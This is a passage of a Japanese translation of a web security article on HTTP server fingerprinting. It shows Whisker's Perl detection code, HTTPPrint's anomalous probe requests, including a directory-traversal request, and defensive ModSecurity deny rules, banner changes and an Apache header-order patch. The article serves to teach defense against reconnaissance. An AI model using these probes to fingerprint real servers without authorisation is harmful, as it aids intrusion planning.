                                                    HEAD / HTTP/1.0

HTTP/1.1 200 OK                                    HTTP/1.1 404
Date: Mon, 07 Jun 2004 15:21:24                    Object Not Found
GMT                                                  Server:
Server: Apache/1.3.29 (Unix)                        Microsoft-IIS/4.0
mod_perl/1.29                                       Date: Mon, 07 Jun
Content-Location:                                  2004 15:22:54 GMT
index.html.en                                       Content-Length:
Vary:                                               461
negotiate,accept-language,                         Content-Type:
accept-charset                                     text/html
TCN: choice
Last-Modified: Fri, 04 May                          Connection closed
2001 00:00:38 GMT                                  by foreign host.
ETag:
"4de14-5b0-3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
Content-Language: en
```

```
Expires: Mon, 07 Jun 2004
15:21:24 GMT
```

```
Connection closed by foreign
host.
```

異常なリクエストに対するレスポンスコード - ターゲットの Web サーバへ同じリクエストをしても、そのリクエストに対する解釈が異なるため、違ったレスポンスコードが生成されます。解釈における意味の違いとしてぴったりの例が、Whisker スキャナーで使われている「Light Fingerprinting」チェックです。下記の Perl コードの部分は、Whisker 2.1 の main.test ファイルからの引用です。2 つのテストを行い、ターゲットの Web サーバが本当に Apache サーバなのかを判断しています。バナーが何を表示しても関係ありません。

最初のリクエストは「GET //」で、HTTP のステータスコードが 200 なら、次のリクエストを送ります。2 番目のリクエストは「GET/%2f」で、これは URI エンコードして「GET //」になります。この時、Apache なら 404-Not Found エラーを返します。その他の Web サーバ-IIS-は同じステータスコードを返しません。

```
# now do some light fingerprinting...
-- CUT --
my $Aflag=0;
$req{whisker}->{uri}='//';
if(!_do_request(\%req,\%G_RESP)){
    _d_response(\%G_RESP);
    if($G_RESP{whisker}->{code}==200){
        $req{whisker}->{uri}='/%2f';

if(!_do_request(\%req,\%G_RESP)){
    _d_response(\%G_RESP);
    $Aflag++
if($G_RESP{whisker}->{code}==404);
    }    }    }

    m_re_banner('Apache',$Aflag);
```

ターゲットの Web サイトに Whisker を走らせた後に、Whisker は Web サーバが本当に Apache サーバなのかというプレテストにもとづいて報告します。下記が Whisker の報告例の一部です。

```
-----  
Title: Server banner  
Id: 100  
Severity: Informational  
The server returned the following banner:  
Microsoft-IIS/4.0  
-----  
Title: Alternate server type  
Id: 103  
Severity: Informational  
Testing has identified the server might be an 'Apache'  
server. This  
Change could be due to the server not correctly  
identifying itself (the  
Admins changed the banner). Tests will now check for  
this server type  
as well as the previously identified server types.  
-----
```

Web サーバの管理者が、サーバのバナー情報を改ざんできるだけの知識を持っていると攻撃者に警告するだけではなく、Whisker には、Apache に対するスキャンをさらに正確にする、あらゆるテストがあります。

解決方法

Web サーバが提示する特定情報は、それぞれ単独では削除できません。気合の入った攻撃なら、実際問題 Web サーバのソフトウェアを特定してしまうでしょう。皆さんが目標とすべきは、調査のしにくさを高めることです。ほとんどの攻撃者がセキュリティ警告にひっかかるくらいに、調査を難しくします。この作業を楽にするには、次のステップを踏みます。

解決方法は、実装するのが簡単なものから複雑なものへと並んでいます。

サーバのバナー情報を変更する

Web サーバのレスポンスヘッダーで表示される「Server」項目の情報は、(欺く目的で)削除したり、変更したりできます。Web セキュリティに関わるグループでは、HTTP の Server:トークン情報を変更することによる防御効果について議論してきました。バナー情報だけを変更し、その他の方法でソフトウェアのバージョンを隠さないと、入念に調査する「本物の」人に対しては、ほとんど防御になりません。ただし、自動化されたワームプログラムには役立ちます。ワームを使ってシステムを多量感染させるケースが増えていますので、この方法は Web サーバを守るのに非常に大切です。新しいワームが世間にばら撒かれ、そのワームが Server:トークンのレスポンスによってシステムを攻撃するように設定されていても、パッチ当てを行う間しばらくは時間稼ぎができます。

Apache サーバ - ModSecurity には SecServerSignature 設定があり、Web 管理者は Apache をコンパイルする前にソースコードをいじることなく、httpd.conf ファイルで Server banner 情報を設定できます。

IIS サーバ - IISLockDown と URLScan ツールをインストールすると、クライアントに返すバナー情報を書き替えられます。

ヘッダー情報の冗長さを抑える

レスポンスヘッダーが返す情報の量を制限してください。たとえば Apache では、管理者は ServerTokens 命令を修正し、Server banner トークンの冗長さを制御できます。

ServerTokens Prod[uctOnly]

Server sends (e.g.): Server: Apache

ServerTokens Min[imal]

Server sends (e.g.): Server: Apache/1.3.0

ServerTokens OS

Server sends (e.g.): Server: Apache/1.3.0 (Unix)

ServerTokens Full (or not specified)

Server sends (e.g.): Server: Apache/1.3.0 (Unix) PHP/3.0 MyMod/1.2

ヘッダーをできるだけ少なくすれば、追加でインストールしてある apache モジュールの情報を隠せるでしょう。

偽ヘッダーの実装

Web サーバを特定できなくしたり、分かりにくくしたりする技術に、偽の Web 構成を提示するものもあります。通常攻撃者は、特定する過程で バナーグラブリング(Banner Grabbing)を行います。特定中に攻撃者は、ターゲットの構成規模を計ろうとします。追加で偽ヘッダーを入れることで、複雑な Web 環境(たとえば、DMZ 環境)を装えます。リバースプロキシサーバが存在するかのように装えば、複雑な構成に「見せかける」ことができます。

【訳注: バナーグラブリング(Banner Grabbing)とは、クライアントがサーバに接続する時、最初に受け取る文字列を読み取ること】

Apache サーバなら、httpd.conf の項目に下記を追加すれば、実現できます。

Header set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)"

ErrorHeader set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)"

Header set X-Cache "MISS from www.nonexistenthost.com"

ErrorHeader set X-Cache "MISS from www.nonexistenthost.com"

これらの項目は、すべてのレスポンスに「Via」と X-Cache HTTP レスポンスヘッダーを下記のように追加します。

```
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
```

```
Server: Microsoft-IIS/4.0
Date: Sun, 30 Mar 2003 21:59:46 GMT
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Via: 1.1 squid.proxy.companyx.com
(Squid/2.4.STABLE6)
X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673
Connection: close
```

これで、Squid プロキシサーバを使っているように見せ掛け、存在しないサーバから Web のデータが提供されているかのように見せます。こうすることで、攻撃者をそそのかし、Apache サーバに対して Squid の攻撃を行わせられるかもしれません。もちろんこの攻撃は成功せず、X-Cache ヘッダーに指定してある実際には存在しないホストに攻撃をかけることになります。

サードパーティの Web セキュリティツールをインストールする

追加で ModSecurity や ServerMask のような Web セキュリティアプリケーションやツールをインストールすると、HTTPPrint のような最近の Web サーバ特定用アプリケーションを混乱させたり、無効にしたりできます。上記の例でも説明したように、これらのツールは様々なリクエストを試してはターゲットとなる Web サーバを調べ、特定のレスポンスを引き出します。下記は HTTPPrint が Web サーバに送った、異常なリクエストの例です。

```
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"JUNKMETHOD / HTTP/1.0" 501 344 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / JUNK/1.0" 400 381 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"get / HTTP/1.0" 501 330 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/0.8" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/1.2" 200 1456 "-" "-"
```

```
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/3.0" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET ../../ HTTP/1.0" 400 344 "-" "-"
```

Apache サーバに ModSecurity のようなツールを実行すると、HTTP RFC 互換のフィルタが作れ、このような異常なリクエストを引っ掛けられます。下記に、httpd.conf で使うと思われる ModSecurity 項目を挙げます。

```
# This will return a 403 - Forbidden Status Code for
all Mod_Security actions
SecFilterDefaultAction "deny,log,status:403"

# This will deny directory traversals
SecFilter "\.\/"

# This entry forces compliance of the request method.
Any requests that do NOT
# start with either GET|HEAD|POST will be denied.
This will catch/trigger on
# junk methods.
SecFilterSelective THE_REQUEST "!^(GET|HEAD|POST)"

# This entry will force HTTP compliance to the end
portion of the request. If
# the request does NOT end with a valid HTTP version,
then it will be denied.
SecFilterSelective THE_REQUEST
"!HTTP\/(0\.9|1\.0|1\.1)$"
```

ソースコードの修正

これは対策の中で最も複雑な作業になりますが、最も効果的です。この作業に対するリスク対効果は、プログラミングのスキルレベルと Web の構成次第で決まります。一般的にこの作業は、Web サーバのソースコードをコンパイル前に修正するか、バイナリエディタを使って実行形式

を修正します。Apache のようなオープンソースの Web サーバなら、コードにアクセスできるので、より簡単に行えます。

Header の順序 - 下記は、Apache 1.3.29 サーバのソースコードに対する DATE と SERVER の順序を訂正するパッチで、IIS OPTIONS の出力データを真似します。このパッチは/apache_1.3.29/src/main ディレクトリにある http_protocol.c ファイルを書き替えます。IIS のレスポンストークンに使われるヘッダーを OPTIONS セクションで返します。Public や DASL、DAV、Cache-Control ヘッダーがこれに該当します。

```
--- http_protocol.c.orig      Mon Apr 26 02:11:58
2004
+++ http_protocol.c          Mon Apr 26 02:43:31 2004
@@ -1597,9 +1597,6 @@
     /* output the HTTP/1.x Status-Line */
     ap_rvputs(r, protocol, " ", r->status_line,
CRLF, NULL);

-     /* output the date header */
-     ap_send_header_field(r,      "Date",
ap_gm_timestr_822(r->pool, r->request_time));
-
     /* keep the set-by-proxy server header,
otherwise
     * generate a new server header */
     if (r->proxyreq) {
@@ -1612,6 +1609,9 @@
         ap_send_header_field(r,      "Server",
ap_get_server_version());
     }

+     /* output the date header */
+     ap_send_header_field(r,      "Date",
ap_gm_timestr_822(r->pool, r->request_time));
+
     /* unset so we don't send them again */
     ap_table_unset(r->headers_out,      "Date");
/* Avoid bogosity */
```

```

    ap_table_unset(r->headers_out, "Server");
@@ -1716,7 +1716,9 @@
    ap_basic_http_header(r);

    ap_table_setn(r->headers_out,
"Content-Length", "0");
+    ap_table_setn(r->headers_out, "Public",
"OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK,
SEARCH");
    ap_table_setn(r->headers_out, "Allow",
make_allow(r));
+    ap_table_setn(r->headers_out,
"Cache-Control", "private");
    ap_set_keepalive(r);

    ap_table_do((int (*) (void *, const char *,
const char *)) ap_send_header_field,

```

参考文献

“An Introduction to HTTP fingerprinting”

http://net-square.com/httpprint/httpprint_paper.html

“Hypertext Transfer Protocol -- HTTP/1.1”

<http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.39>

“HMAP: A Technique and Tool for Remote Identification of HTTP Servers”

<http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf>

“Identifying Web Servers: A first-look into Web Server Fingerprinting”

<http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-gross-man.pdf>

“Mask Your Web Server for Enhanced Security”

<http://www.port80software.com/support/articles/maskyourwebserver>

“Web Intrusion Detection and Prevention”

<http://www.modsecurity.org>

“IIS LockDown Tool 2.1”

<http://www.microsoft.com/downloads/details.aspx?FamilyID=DDE9EFC0-BB30-47EB-9A61-FD755D23CDEC&displaylang=en>

“URLScan Tool”

<http://www.microsoft.com/downloads/details.aspx?FamilyID=f4c5a724-cafa-4e88-8c37-c9d5abed1863&DisplayLang=en>

“ServerMask Tool”

<http://www.port80software.com/products/servermask/>

ライセンス

【訳注:このドキュメントの原文及び日本語版のライセンスは、OpenContent に準拠します。OpenContent の内容については、OpenContent の日本語版 (<http://www2.bus.osaka-cu.ac.jp/%7Ey-inaba/ProjectSugitaGenpaku/opl-j.htm>) を参考にしてください】

Terms and Conditions for Copying, Distributing, and Modifying

Items other than copying, distributing, and modifying the Content with which this license was distributed (such as using, etc.) are outside the scope of this license.

1. You may copy and distribute exact replicas of the OpenContent (OC) as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the OC a copy of this License along with the OC. You may at your option charge a fee for the media and/or handling involved in creating a unique copy of the OC for use offline, you may at your option offer instructional support for the OC in exchange for a fee, or you may at your option offer warranty in exchange for a fee. You may not charge a fee for the OC itself. You may not charge a fee for the sole service of providing access to and/or use of the OC via a network (e.g. the Internet), whether it be via the world wide web, FTP, or any other method.

2. You may modify your copy or copies of the OpenContent or any portion of it, thus forming works based on the Content, and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified content to carry prominent notices stating that you changed it, the exact nature and content of the changes, and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the OC or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License, unless otherwise permitted under applicable Fair Use law.

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the OC, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the OC, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Exceptions are made to this requirement to release modified works free of charge under this license only in compliance with Fair Use law where applicable.

3. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to copy, distribute or modify the OC. These actions are prohibited by law if you do not accept this License. Therefore, by distributing or translating the OC, or by deriving works herefrom, you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or translating the OC.

NO WARRANTY

4. BECAUSE THE OPENCONTENT (OC) IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE OC, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE OC "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK OF USE OF THE OC IS WITH YOU. SHOULD THE OC PROVE FAULTY, INACCURATE, OR OTHERWISE UNACCEPTABLE YOU ASSUME THE COST OF ALL NECESSARY REPAIR OR CORRECTION.

5. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MIRROR AND/OR REDISTRIBUTE THE OC AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE OC, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.